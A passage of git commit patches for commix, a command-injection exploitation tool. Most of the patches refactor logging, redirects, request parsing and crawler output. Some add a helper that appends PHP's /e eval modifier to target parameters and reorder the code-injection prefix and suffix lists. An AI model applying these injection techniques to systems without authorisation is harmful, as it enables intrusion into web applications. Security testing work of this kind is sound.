"Do you want to inject inside? [Y/n] > " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: - value = get_value_boundaries(value) + value = _ elif procced_option in settings.CHOICE_NO: settings.INJECT_INSIDE_BOUNDARIES = False pass @@ -763,6 +764,35 @@ def check_CGI_scripts(url): if not _: menu.options.shellshock = False +""" +Add the PCRE_REPLACE_EVAL (/e) modifier +""" +def add_PCRE_REPLACE_EVAL_modifier(url): + try: + if re.findall(r"=/(.*)/&", url) or re.findall(r"=/(.*)/&", menu.options.data): + while True: + message = "Do you want to add the PCRE_REPLACE_EVAL (/e) modifier outside boundaries? [Y/n] > " + modifier_check = common.read_input(message, default="Y", check_batch=True) + settings.PCRE_REPLACE_EVAL = True + if modifier_check in settings.CHOICE_YES: + if re.findall(r"=(.*)&", url): + url = url.replace("/&", "/e&") + elif re.findall(r"=(.*)&", menu.options.data): + menu.options.data = menu.options.data.replace("/&", "/e&") + return url + elif modifier_check in settings.CHOICE_NO: + return url + elif modifier_check in settings.CHOICE_QUIT: + print(settings.SINGLE_WHITESPACE) + os._exit(0) + else: + common.invalid_option(shellshock_check) + pass + except TypeError as err_msg: + pass + + return url + """ Check if http / https. """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 70723645de..2eff869a3e 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -131,18 +131,13 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, Heuristic (basic) tests for code injection warnings """ def code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers): + settings.PCRE_REPLACE_EVAL = False injection_type = "results-based dynamic code evaluation" technique = "dynamic code evaluation technique" technique = "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "" settings.EVAL_BASED_STATE = True try: - try: - if re.findall(r"=(.*)&", url): - url = url.replace("/&", "/e&") - elif re.findall(r"=(.*)&", menu.options.data): - menu.options.data = menu.options.data.replace("/&", "/e&") - except TypeError as err_msg: - pass + url = checks.add_PCRE_REPLACE_EVAL_modifier(url) if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO) or settings.MULTI_TARGETS: for payload in settings.PHPINFO_CHECK_PAYLOADS: if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter): @@ -231,6 +226,8 @@ def classic_command_injection_technique(url, timesec, filename, http_request_met # Check if it's exploitable via dynamic code evaluation technique. def dynamic_code_evaluation_technique(url, timesec, filename, http_request_method): + if not settings.PCRE_REPLACE_EVAL: + url = checks.add_PCRE_REPLACE_EVAL_modifier(url) injection_type = "results-based dynamic code evaluation" technique = "dynamic code evaluation technique" if not settings.SKIP_CODE_INJECTIONS: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index bbff77636b..3b341542df 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -391,7 +391,9 @@ def request_failed(err_msg): return False else: err_msg = reason - if settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): + if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO or settings.IDENTIFIED_COMMAND_INJECTION or \ + (menu.options.ignore_code and menu.options.ignore_code in str(err_msg).lower()) or \ + settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): return True else: if len(err_msg) != 0: diff --git a/src/utils/settings.py b/src/utils/settings.py index f369145e02..fb6102c385 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "15" +REVISION = "16" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -468,13 +468,13 @@ def sys_argv_errors(): # The code injection prefixes. EVAL_PREFIXES = [] -EVAL_PREFIXES_LVL1 = ["{${", "'.", "."] +EVAL_PREFIXES_LVL1 = [".", "'.", "{${"] EVAL_PREFIXES_LVL2 = EVAL_PREFIXES_LVL1 + [")'}", "');}"] EVAL_PREFIXES_LVL3 = EVAL_PREFIXES_LVL2 + ["\".", "')", "\")", ");}", "\");}", ")", ";", "'", ""] # The code injection suffixes. EVAL_SUFFIXES = [] -EVAL_SUFFIXES_LVL1 = ["}}", ".'", ""] +EVAL_SUFFIXES_LVL1 = [ "", ".'", "}}"] EVAL_SUFFIXES_LVL2 = EVAL_SUFFIXES_LVL1 + ["'#"] EVAL_SUFFIXES_LVL3 = EVAL_SUFFIXES_LVL2 + [".\"", "\\\\", "//", ")}", "#"] @@ -1229,4 +1229,6 @@ def sys_argv_errors(): ANSWERS = "" CHECKING_PARAMETER = "" + +PCRE_REPLACE_EVAL = False # eof \ No newline at end of file From 17ca1f025833ebf6cd13afe41b318a0a27d5ffa0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 23 Dec 2022 09:10:55 +0200 Subject: [PATCH 234/560] Fixes https://github.com/commixproject/commix/issues/798 --- src/core/main.py | 4 +++- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index d1aba20fb6..a4a2792bb8 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -293,7 +293,9 @@ def url_response(url): response = examine_request(request, url) # Check for URL redirection if not menu.options.ignore_redirects: - url = redirection.do_check(request, url) + redirect_url = redirection.do_check(request, url) + if redirect_url is not None: + url = redirect_url return response, url """ diff --git a/src/utils/settings.py b/src/utils/settings.py index fb6102c385..6b7f2a0ff9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "16" +REVISION = "17" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From fb2a29f9ceeac4a11e44b568c445f20f30726743 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 24 Dec 2022 09:08:41 +0200 Subject: [PATCH 235/560] Minor update regarding logging to a file --- src/utils/logs.py | 82 +++++++++++++++---------------------------- src/utils/settings.py | 2 +- 2 files changed, 29 insertions(+), 55 deletions(-) diff --git a/src/utils/logs.py b/src/utils/logs.py index c5a3ca13d7..87686168b2 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -30,6 +30,21 @@ 2. Check for logs updates and apply if any! """ +""" +Directory creation +""" +def path_creation(path): + if not os.path.exists(path): + try: + os.mkdir(path) + except OSError as err_msg: + try: + error_msg = str(err_msg).split("] ")[1] + "." + except IndexError: + error_msg = str(err_msg) + "." + print(settings.print_critical_msg(error_msg)) + raise SystemExit() + """ Logs filename creation. """ @@ -37,30 +52,18 @@ def logs_filename_creation(url): if menu.options.output_dir: if os.path.isdir(menu.options.output_dir): output_dir = menu.options.output_dir - if not output_dir.endswith("/"): - output_dir = output_dir + "/" else: error_msg = "The '" + menu.options.output_dir + "' is not directory." print(settings.print_critical_msg(error_msg)) raise SystemExit() else: output_dir = settings.OUTPUT_DIR - - # One directory up, if the script is being run under "/src". - output_dir = os.path.dirname(output_dir) - try: - os.stat(output_dir) - except: - try: - os.mkdir(output_dir) - except OSError as err_msg: - try: - error_msg = str(err_msg).split("] ")[1] + "." - except IndexError: - error_msg = str(err_msg) + "." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() + output_dir = os.path.dirname(output_dir) + path_creation(output_dir) + + if not output_dir.endswith("/"): + output_dir = output_dir + "/" # The logs filename construction. filename = create_log_file(url, output_dir) @@ -72,44 +75,15 @@ def logs_filename_creation(url): """ def create_log_file(url, output_dir): - if not output_dir.endswith("/"): - output_dir = output_dir + "/" - - parts = url.split('//', 1) - try: - host = parts[1].split('/', 1)[0] - except IndexError: - host = parts[0].split('/', 1)[0] - except OSError as err_msg: - try: - error_msg = str(err_msg).split("] ")[1] + "." - except IndexError: - error_msg = str(err_msg) + "." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() - - - # Check if port is defined to host. - if ":" in host: - host = host.replace(":","_") - try: - os.stat(output_dir + host + "/") - except: - try: - os.mkdir(output_dir + host + "/") - except OSError as err_msg: - try: - error_msg = str(err_msg).split("] ")[1] + "." - except IndexError: - error_msg = str(err_msg) + "." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() + host = _urllib.parse.urlparse(url).netloc.replace(":","_") + "/" + logs_path = output_dir + host + path_creation(logs_path) # Create cli history file if does not exist. - settings.CLI_HISTORY = output_dir + host + "/" + "cli_history" + settings.CLI_HISTORY = logs_path + "cli_history" if not os.path.exists(settings.CLI_HISTORY): - open(settings.CLI_HISTORY,'a').close() + open(settings.CLI_HISTORY,'a').close() if menu.options.session_file is not None: if os.path.exists(menu.options.session_file): @@ -119,16 +93,16 @@ def create_log_file(url, output_dir): menu.options.session_file + \ "') does not exist." print(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit() else: - settings.SESSION_FILE = output_dir + host + "/" + "session" + ".db" + settings.SESSION_FILE = logs_path + "session.db" # Load command history if settings.LOAD_SESSION == True: checks.load_cmd_history() # The logs filename construction. - filename = output_dir + host + "/" + settings.OUTPUT_FILE + filename = logs_path + settings.OUTPUT_FILE try: output_file = open(filename, "a") if not menu.options.no_logging: diff --git a/src/utils/settings.py b/src/utils/settings.py index 6b7f2a0ff9..8ebf7a64e9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "17" +REVISION = "18" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From b4f88280c11efc6207ad274d5e927713981fbad4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 25 Dec 2022 08:57:24 +0200 Subject: [PATCH 236/560] Minor update --- src/core/requests/headers.py | 4 ++++ src/utils/settings.py | 2 +- 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index f1fe4629ac..eae5f32e5d 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -105,6 +105,10 @@ def send(self, req): unique_request_http_headers = [] [unique_request_http_headers.append(item) for item in request_http_headers if item not in unique_request_http_headers] request_http_headers = [x for x in unique_request_http_headers if x] + if menu.options.data and \ + len(request_http_headers) == 1 and \ + settings.VERBOSITY_LEVEL >= 2: + print(settings.SINGLE_WHITESPACE) for header in request_http_headers: if settings.VERBOSITY_LEVEL >= 2: print(settings.print_traffic(header)) diff --git a/src/utils/settings.py b/src/utils/settings.py index 8ebf7a64e9..fc1d4b5ccf 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "18" +REVISION = "19" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 224584302dad94301579e9a7b50d306091279d14 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 26 Dec 2022 08:59:41 +0200 Subject: [PATCH 237/560] Fixes https://github.com/commixproject/commix/issues/800 --- src/core/injections/controller/parser.py | 30 ++++++++++++------------ src/utils/settings.py | 2 +- 2 files changed, 16 insertions(+), 16 deletions(-) diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 2cdd04b4f1..137fcc6889 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -118,24 +118,24 @@ def invalid_data(request): request_url = re.findall(r"" + " (.*) HTTP/", request) if request_url: - # Check empty line for POST data. - if len(request.splitlines()[-2]) == 0: - result = [item for item in request.splitlines() if item] - multiple_xml = [] - for item in result: - if checks.is_XML_check(item): - multiple_xml.append(item) - if len(multiple_xml) != 0: - menu.options.data = '\n'.join([str(item) for item in multiple_xml]) - else: - menu.options.data = result[len(result)-1] - else: - try: + try: + # Check empty line for POST data. + if len(request.splitlines()[-2]) == 0: + result = [item for item in request.splitlines() if item] + multiple_xml = [] + for item in result: + if checks.is_XML_check(item): + multiple_xml.append(item) + if len(multiple_xml) != 0: + menu.options.data = '\n'.join([str(item) for item in multiple_xml]) + else: + menu.options.data = result[len(result)-1] + else: # Check if url ends with "=". if request_url[0].endswith("="): request_url = request_url[0].replace("=","=" + settings.INJECT_TAG, 1) - except IndexError: - invalid_data(request_file) + except IndexError: + invalid_data(request_file) # Check if invalid data if not request_url: diff --git a/src/utils/settings.py b/src/utils/settings.py index fc1d4b5ccf..0474689794 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "19" +REVISION = "20" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From bf8fad9e3f7dd5db1e3e027c1c723f20899afe5c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 27 Dec 2022 09:43:59 +0200 Subject: [PATCH 238/560] Fixes https://github.com/commixproject/commix/issues/802 --- src/core/main.py | 13 ++++++++----- src/utils/settings.py | 2 +- 2 files changed, 9 insertions(+), 6 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index a4a2792bb8..82172dcb7b 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -735,14 +735,17 @@ def main(filename, url): menu.options.data = False while True: message = "Enter injection level (--level) [1-3, Default: 1] > " - if settings.STDIN_PARSING or menu.options.level > settings.DEFAULT_INJECTION_LEVEL: + if settings.STDIN_PARSING: print(settings.print_message(message + str(menu.options.level))) break - menu.options.level = int(common.read_input(message, default=settings.DEFAULT_INJECTION_LEVEL, check_batch=True)) - if menu.options.level > settings.HTTP_HEADER_INJECTION_LEVEL: + try: + menu.options.level = int(common.read_input(message, default=settings.DEFAULT_INJECTION_LEVEL, check_batch=True)) + if menu.options.level > int(settings.HTTP_HEADER_INJECTION_LEVEL): + pass + else: + break + except ValueError: pass - else: - break # Seconds to delay between each HTTP request. if menu.options.delay > 0: diff --git a/src/utils/settings.py b/src/utils/settings.py index 0474689794..5b0ffece85 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "20" +REVISION = "21" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From f9617e0d53ceee11ee6a9a0d2786648f6f4ee616 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 28 Dec 2022 09:07:42 +0200 Subject: [PATCH 239/560] Minor update --- src/core/injections/controller/parser.py | 5 ++--- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 4 deletions(-) diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py index 137fcc6889..a4d7ea7c93 100755 --- a/src/core/injections/controller/parser.py +++ b/src/core/injections/controller/parser.py @@ -138,11 +138,10 @@ def invalid_data(request): invalid_data(request_file) # Check if invalid data - if not request_url: - invalid_data(request_file) else: - request_url = "".join([str(i) for i in request_url]) + invalid_data(request_file) + request_url = "".join([str(i) for i in request_url]) # Check for other headers extra_headers = "" prefix = "http://" diff --git a/src/utils/settings.py b/src/utils/settings.py index 5b0ffece85..e1ea82d296 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "21" +REVISION = "22" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 99f65a6e434344fdc0fb3de9deae1d9775e3a5ed Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 29 Dec 2022 07:51:43 +0200 Subject: [PATCH 240/560] Minor update --- src/core/injections/controller/controller.py | 6 ++++-- src/utils/settings.py | 2 +- 2 files changed, 5 insertions(+), 3 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 2eff869a3e..8cba07791f 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -94,7 +94,8 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, tmp_url = url if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) - elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST: + elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST or \ + menu.options.data and settings.INJECT_TAG in menu.options.data: if inject_http_headers: data = menu.options.data.replace(settings.INJECT_TAG,"").encode(settings.DEFAULT_CODEC) else: @@ -153,7 +154,8 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t tmp_url = url if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) - elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST: + elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST or \ + menu.options.data and settings.INJECT_TAG in menu.options.data: if inject_http_headers: data = menu.options.data.replace(settings.INJECT_TAG,"").encode(settings.DEFAULT_CODEC) else: diff --git a/src/utils/settings.py b/src/utils/settings.py index e1ea82d296..d464d003d4 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "22" +REVISION = "23" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 438d1b1db2fcf7fc3551d551193ee385405b5294 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 30 Dec 2022 09:37:43 +0200 Subject: [PATCH 241/560] Minor fixes n' updated --- src/core/requests/headers.py | 7 +++++-- src/core/requests/redirection.py | 7 ++++--- src/utils/crawler.py | 14 ++------------ src/utils/settings.py | 2 +- 4 files changed, 12 insertions(+), 18 deletions(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index eae5f32e5d..94dd098c80 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -46,6 +46,8 @@ Checking the HTTP response content. """ def http_response_content(content): + if type(content) is bytes: + content = content.decode(settings.DEFAULT_CODEC) if settings.VERBOSITY_LEVEL >= 4: content = checks.remove_empty_lines(content) print(settings.print_http_response_content(content)) @@ -227,13 +229,14 @@ def https_open(self, req): except _urllib.error.HTTPError as err: if settings.VERBOSITY_LEVEL != 0: print_http_response(err.info(), err.code, err.read()) - + if (not settings.PERFORM_CRACKING and \ not settings.IS_JSON and \ not settings.IS_XML and \ not str(err.code) == settings.INTERNAL_SERVER_ERROR and \ not str(err.code) == settings.BAD_REQUEST and \ - not settings.CRAWLED_URLS_NUM != 0) and settings.CRAWLED_SKIPPED_URLS_NUM != 0: + not settings.CRAWLED_URLS_NUM != 0 and \ + not settings.MULTI_TARGETS) and settings.CRAWLED_SKIPPED_URLS_NUM != 0: print(settings.SINGLE_WHITESPACE) # Check for 3xx, 4xx, 5xx HTTP error codes. if str(err.code).startswith(('3', '4', '5')): diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index 213757bb15..ebca5a03e7 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -69,9 +69,10 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): if not settings.FOLLOW_REDIRECT: if settings.CRAWLED_URLS_NUM != 0 and settings.CRAWLED_SKIPPED_URLS_NUM != 0: print(settings.SINGLE_WHITESPACE) - message = "Got a " + str(settings.REDIRECT_CODE) + " redirect to " + response.geturl() + "\n" - message += "Do you want to follow the identified redirection? [Y/n] > " - redirection_option = common.read_input(message, default="Y", check_batch=True) + message = "Got a " + str(settings.REDIRECT_CODE) + " redirect to " + response.geturl() + "\n" + message += "Do you want to follow the identified redirection? [Y/n] > " + redirection_option = common.read_input(message, default="Y", check_batch=True) + if redirection_option in settings.CHOICE_YES: settings.FOLLOW_REDIRECT = True if not settings.CRAWLING: diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 8974259a71..af449f865e 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -193,12 +193,7 @@ def request(url): if url not in settings.HREF_SKIPPED: settings.HREF_SKIPPED.append(url) settings.CRAWLED_SKIPPED_URLS_NUM += 1 - if settings.TOTAL_OF_REQUESTS != 1 and not settings.MULTI_TARGETS: - if settings.CRAWLED_URLS_NUM != 0 and settings.CRAWLED_SKIPPED_URLS_NUM != 0: - print(settings.SINGLE_WHITESPACE) checks.connection_exceptions(err_msg, url) - if settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) """ Enable crawler. @@ -256,11 +251,8 @@ def no_usable_links(crawled_hrefs): """ def do_process(url): identified_hrefs = False - if settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) - else: - if settings.CRAWLED_SKIPPED_URLS_NUM == 0 or settings.CRAWLED_URLS_NUM != 0: - sys.stdout.write("\r") + if settings.CRAWLED_SKIPPED_URLS_NUM == 0 or settings.CRAWLED_URLS_NUM != 0: + sys.stdout.write("\r") # Grab the crawled hrefs. try: response = request(url) @@ -343,8 +335,6 @@ def crawler(url, url_num, crawling_list): info_msg += "/" + str(len(output_href)) + " links visited." sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() - if settings.VERBOSITY_LEVEL > 1: - print(settings.SINGLE_WHITESPACE) if link != 0: print(settings.SINGLE_WHITESPACE) settings.DEFAULT_CRAWLING_DEPTH += 1 diff --git a/src/utils/settings.py b/src/utils/settings.py index d464d003d4..a10f0d984c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "23" +REVISION = "24" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 30d48372f1f520d9ce58308e98cf0ec0bc15597c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 31 Dec 2022 08:53:15 +0200 Subject: [PATCH 242/560] Minor update --- src/core/main.py | 5 ++++- src/utils/settings.py | 2 +- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index 82172dcb7b..319ed86acb 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -932,7 +932,10 @@ def main(filename, url): except: pass elif message in settings.CHOICE_NO: - pass + if url_num == len(clean_output_href): + raise SystemExit() + else: + pass elif message in settings.CHOICE_QUIT: raise SystemExit() diff --git a/src/utils/settings.py b/src/utils/settings.py index a10f0d984c..73ebcc4214 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "24" +REVISION = "25" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 82068730b24cb38e8e8b835025382abe700835a8 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 1 Jan 2023 09:57:08 +0200 Subject: [PATCH 243/560] Trivial update --- src/core/main.py | 12 ++++++------ src/core/requests/headers.py | 6 ------ src/utils/settings.py | 2 +- 3 files changed, 7 insertions(+), 13 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index 319ed86acb..9fdb7cc0e1 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -272,6 +272,9 @@ def init_request(url): Get the URL response. """ def url_response(url): + if settings.INIT_TEST == True: + info_msg = "Testing connection to the target URL. " + print(settings.print_info_msg(info_msg)) # Check if http / https url = checks.check_http_s(url) # Check if defined Tor (--tor option). @@ -284,12 +287,6 @@ def url_response(url): request = init_request(url) if settings.CHECK_INTERNET: settings.CHECK_INTERNET = False - if settings.INIT_TEST == True: - info_msg = "Testing connection to the target URL. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - if settings.VERBOSITY_LEVEL >= 2: - print(settings.SINGLE_WHITESPACE) response = examine_request(request, url) # Check for URL redirection if not menu.options.ignore_redirects: @@ -938,6 +935,9 @@ def main(filename, url): pass elif message in settings.CHOICE_QUIT: raise SystemExit() + + if url_num == len(clean_output_href): + raise SystemExit() except KeyboardInterrupt: try: diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 94dd098c80..0aa83c9624 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -173,8 +173,6 @@ def https_open(self, req): settings.VALID_URL = True if not settings.CHECK_INTERNET: settings.INIT_TEST = False - if settings.VERBOSITY_LEVEL < 2: - print(settings.SINGLE_WHITESPACE) except ValueError as err: if settings.VERBOSITY_LEVEL < 2: @@ -187,10 +185,6 @@ def https_open(self, req): raise SystemExit() except _urllib.error.HTTPError as err_msg: - if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2: - if (settings.CRAWLING and settings.CRAWLED_URLS_NUM != 0 and settings.CRAWLED_SKIPPED_URLS_NUM != 0) or \ - not settings.CRAWLING: - print(settings.SINGLE_WHITESPACE) if settings.UNAUTHORIZED_ERROR in str(err_msg): settings.UNAUTHORIZED = unauthorized = True settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS diff --git a/src/utils/settings.py b/src/utils/settings.py index 73ebcc4214..4c111ff79b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "25" +REVISION = "26" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 86e467a37abef2b0bdddd53b4f7db590353726d4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 2 Jan 2023 09:48:43 +0200 Subject: [PATCH 244/560] Minor update regarding heuristic checks --- src/core/main.py | 5 +++++ src/utils/settings.py | 2 +- 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/src/core/main.py b/src/core/main.py index 9fdb7cc0e1..3bb52ca98c 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -299,6 +299,11 @@ def url_response(url): Injection states initiation. """ def init_injection(url): + # Initiate heuristic checks. + if settings.SKIP_CODE_INJECTIONS: + settings.SKIP_CODE_INJECTIONS = False + if settings.SKIP_COMMAND_INJECTIONS: + settings.SKIP_COMMAND_INJECTIONS = False # Initiate injection checker. if settings.INJECTION_CHECKER: settings.INJECTION_CHECKER = False diff --git a/src/utils/settings.py b/src/utils/settings.py index 4c111ff79b..e65c44d151 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "26" +REVISION = "27" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 42fc4b5356b88aebc544bf8604b7f6ca29041711 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 3 Jan 2023 07:27:59 +0200 Subject: [PATCH 245/560] Minor update regarding Copyright year --- LICENSE.txt | 2 +- commix.py | 2 +- setup.py | 2 +- src/__init__.py | 2 +- src/core/__init__.py | 2 +- src/core/compat.py | 2 +- src/core/convert.py | 2 +- src/core/injections/__init__.py | 2 +- src/core/injections/blind/__init__.py | 2 +- src/core/injections/blind/techniques/__init__.py | 2 +- src/core/injections/blind/techniques/time_based/__init__.py | 2 +- .../blind/techniques/time_based/tb_enumeration.py | 2 +- .../blind/techniques/time_based/tb_file_access.py | 2 +- .../injections/blind/techniques/time_based/tb_handler.py | 2 +- .../injections/blind/techniques/time_based/tb_injector.py | 2 +- .../injections/blind/techniques/time_based/tb_payloads.py | 2 +- src/core/injections/controller/__init__.py | 2 +- src/core/injections/controller/checks.py | 2 +- src/core/injections/controller/controller.py | 2 +- src/core/injections/controller/parser.py | 2 +- src/core/injections/controller/shell_options.py | 2 +- src/core/injections/results_based/__init__.py | 2 +- src/core/injections/results_based/techniques/__init__.py | 2 +- .../injections/results_based/techniques/classic/__init__.py | 2 +- .../results_based/techniques/classic/cb_enumeration.py | 2 +- .../results_based/techniques/classic/cb_file_access.py | 2 +- .../results_based/techniques/classic/cb_handler.py | 2 +- .../results_based/techniques/classic/cb_injector.py | 2 +- .../results_based/techniques/classic/cb_payloads.py | 2 +- .../results_based/techniques/eval_based/__init__.py | 2 +- .../results_based/techniques/eval_based/eb_enumeration.py | 2 +- .../results_based/techniques/eval_based/eb_file_access.py | 2 +- .../results_based/techniques/eval_based/eb_handler.py | 2 +- .../results_based/techniques/eval_based/eb_injector.py | 2 +- .../results_based/techniques/eval_based/eb_payloads.py | 2 +- src/core/injections/semiblind/__init__.py | 2 +- src/core/injections/semiblind/techniques/__init__.py | 2 +- .../injections/semiblind/techniques/file_based/__init__.py | 2 +- .../semiblind/techniques/file_based/fb_enumeration.py | 2 +- .../semiblind/techniques/file_based/fb_file_access.py | 2 +- .../semiblind/techniques/file_based/fb_handler.py | 2 +- .../semiblind/techniques/file_based/fb_injector.py | 2 +- .../semiblind/techniques/file_based/fb_payloads.py | 2 +- .../semiblind/techniques/tempfile_based/__init__.py | 2 +- 